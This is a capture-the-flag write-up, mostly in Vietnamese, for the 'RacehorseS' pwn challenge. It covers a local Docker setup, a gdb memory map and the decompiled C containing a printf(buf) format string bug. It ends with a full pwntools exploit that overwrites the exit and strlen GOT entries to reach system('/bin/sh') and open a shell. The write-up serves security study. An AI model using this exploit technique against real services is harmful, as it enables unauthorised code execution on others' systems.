pwn - RacehorseS
My daughter Haru Urara is learning C. She wrote a little program to talk to another horse. Can you check it for security issues?
November 4, 2025
•
October 24, 2025
•
Easy
Setup
Chúng ta tiến hành setup challenge để debug local:
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ sudo docker build -t racehorses .
[+] Building 16.2s (12/12) FINISHED
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ docker run -p 5000:5000 --privileged -it racehorses
[I][2025-10-24T13:45:07+0000] Mode: LISTEN_TCP
[I][2025-10-24T13:45:07+0000] Jail parameters: hostname:'app', chroot:'', process:'/app/run', bind:[::]:5000, max_conns:0, max_conns_per_ip:0, time_limit:15, personality:0, daemonize:false, clone_newnet:true, clone_newuser:true, clone_newns:true, clone_newpid:true, clone_newipc:true, clone_newuts:true, clone_newcgroup:true, clone_newtime:false, keep_caps:false, disable_no_new_privs:false, max_cpus:0
[I][2025-10-24T13:45:07+0000] Mount: '/' flags:MS_RDONLY type:'tmpfs' options:'' dir:true
[I][2025-10-24T13:45:07+0000] Mount: '/srv' -> '/' flags:MS_RDONLY|MS_NOSUID|MS_NODEV|MS_BIND|MS_REC|MS_PRIVATE type:'' options:'' dir:true
[I][2025-10-24T13:45:07+0000] Uid map: inside_uid:1000 outside_uid:1000 count:1 newuidmap:false
[I][2025-10-24T13:45:07+0000] Gid map: inside_gid:1000 outside_gid:1000 count:1 newgidmap:false
[I][2025-10-24T13:45:07+0000] Listening on [::]:5000┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ nc 0 5000
Say something:┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ ps aux | grep /app/run
kali 53779 0.0 0.0 2556 1420 ? SNs 09:45 0:00 /app/run
kali 53849 0.0 0.0 6544 2376 pts/2 S+ 09:45 0:00 grep --color=auto /app/run
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses]
└─$ gdb -p 53779
GNU gdb (Debian 16.3-5) 16.3
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
Start End Perm Size Offset File (set vmmap-prefer-relpaths on)
0x400000 0x401000 r--p 1000 0 /app/run
0x401000 0x402000 r-xp 1000 1000 /app/run
0x402000 0x403000 r--p 1000 2000 /app/run
0x403000 0x404000 r--p 1000 2000 /app/run
0x404000 0x405000 rw-p 1000 3000 /app/run
0x7f44cb79c000 0x7f44cb79f000 rw-p 3000 0 [anon_7f44cb79c]
0x7f44cb79f000 0x7f44cb7c7000 r--p 28000 0 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f44cb7c7000 0x7f44cb94f000 r-xp 188000 28000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f44cb94f000 0x7f44cb99e000 r--p 4f000 1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f44cb99e000 0x7f44cb9a2000 r--p 4000 1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f44cb9a2000 0x7f44cb9a4000 rw-p 2000 202000 /usr/lib/x86_64-linux-gnu/libc.so.6
0x7f44cb9a4000 0x7f44cb9b1000 rw-p d000 0 [anon_7f44cb9a4]
0x7f44cb9b3000 0x7f44cb9b5000 rw-p 2000 0 [anon_7f44cb9b3]
0x7f44cb9b5000 0x7f44cb9b9000 r--p 4000 0 [vvar]
0x7f44cb9b9000 0x7f44cb9bb000 r--p 2000 0 [vvar_vclock]
0x7f44cb9bb000 0x7f44cb9bd000 r-xp 2000 0 [vdso]
0x7f44cb9bd000 0x7f44cb9be000 r--p 1000 0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f44cb9be000 0x7f44cb9e9000 r-xp 2b000 1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f44cb9e9000 0x7f44cb9f3000 r--p a000 2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f44cb9f3000 0x7f44cb9f5000 r--p 2000 36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7f44cb9f5000 0x7f44cb9f7000 rw-p 2000 38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x7fffce8ea000 0x7fffce90b000 rw-p 21000 0 [stack]┌──(kali㉿kali)-[~/Desktop/pwn - racehorses/bin]
└─$ docker cp 8869149ec494:/srv/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.13MB to /home/kali/Desktop/pwn - racehorses/bin/.
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses/bin]
└─$ docker cp 8869149ec494:/srv/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 239kB to /home/kali/Desktop/pwn - racehorses/bin/.
┌──(kali㉿kali)-[~/Desktop/pwn - racehorses/bin]
└─$ pwninit --bin horse_say
bin: horse_say
libc: ./libc.so.6
ld: ./ld-linux-x86-64.so.2
copying horse_say to horse_say_patched
running patchelf on horse_say_patched
writing solve.py stubSource Code
int __fastcall main(int argc, const char **argv, const char **envp)
{
unsigned __int64 i; // [rsp+10h] [rbp-430h]
unsigned __int64 j; // [rsp+18h] [rbp-428h]
size_t len; // [rsp+20h] [rbp-420h]
size_t len_; // [rsp+28h] [rbp-418h]
char buf[1032]; // [rsp+30h] [rbp-410h] BYREF
unsigned __int64 canary; // [rsp+438h] [rbp-8h]
canary = __readfsqword(0x28u);
setup(argc, argv, envp);
memset(buf, 0, 1024u);
printf("Say something: ");
if ( fgets(buf, 1024, stdin) )
{
len = strlen(buf);
if ( len && buf[len - 1] == '\n' )
buf[len - 1] = 0;
len_ = strlen(buf);
if ( !len_ )
strcpy(buf, "(silence)");
putchar(' ');
for ( i = 0; i < len_ + 2; ++i )
putchar('_');
printf("\n< ");
printf(buf);
puts(" >");
for ( j = 0; j < len_ + 2; ++j )
putchar('-');
putchar('\n');
puts(" \\ ^__^");
puts(" \\ (oo)\\_______");
puts(" (__)\\ )\\/\\");
puts(" ||-----||");
puts(" || ||");
puts(&new_line);
exit(0);
}
return 0;
}Mitigation

Solve
Lỗi format string bug xảy ra ở printf(buf). Do Partial RELRO được bật, chúng ta có thể nghĩ đến việc ghi đè GOT entry thành địa chỉ của system(). Tuy nhiên, việc này đòi hỏi phải leak libc, điều này không khả thi chỉ với một lần printf(buf).
Vậy, chúng ta sẽ:
- Ghi đè GOT entry của
exit()trước để chương trình quay lại hàmmain(), tiếp tục lợi dụng format string bug. - Sau đó leak địa chỉ libc từ stack.
- Cuối cùng, ghi đè GOT entry của
strlen()thành địa chỉ củasystem(). Khi chương trình gọistrlen(buf), tương đương vớisystem('/bin/sh').
Script
#!/usr/bin/env python3
from pwn import *
exe = ELF("horse_say_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe
sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)
slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())
ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()
gdbscript = '''
b *main+385
b *main+561
set follow-fork-mode parent
set detach-on-fork on
continue
'''
def conn():
if args.LOCAL:
p = process([exe.path])
if args.GDB:
gdb.attach(p, gdbscript=gdbscript)
if args.DEBUG:
context.log_level = 'debug'
return p
else:
host = "localhost"
port = 5000
return remote(host, port)
p = conn()
# Ghi đè exit got để tiếp tục sử dụng format string bug
exit_got = exe.got['exit']
main = exe.symbols['main'] + 0x4c
payload = fmtstr_payload(offset=12, writes={exit_got: main})
sla(p, b':', payload)
# Leak địa chỉ libc trên stack với offset là 144
sla(p, b':', b'%144$p')
ru(p, b'0x')
libc_base = int(rc(p, 12), 16) - (libc.symbols['__libc_start_call_main'] + 122)
print(f"libc base: {hex(libc_base)}")
# Chạy thêm 1 lần để rsp căn chỉnh theo 16 byte
sla(p, b':', b'padding')
# Ghi đè strlen got với system, offset bây giờ là 15 thay vì 12 bởi trước đó đã chạy 3 lần
system = libc_base + libc.symbols['system']
print(f"system: {hex(system)}")
strlen_got = exe.got['strlen']
payload = fmtstr_payload(offset=15, writes={strlen_got: system})
sla(p, b':', payload)
# Ghi /bin/sh vào buffer, strlen(buf) trở thành system('/bin/sh')
sla(p, b':', b'/bin/sh\0')
rr(p, 1)
ia(p)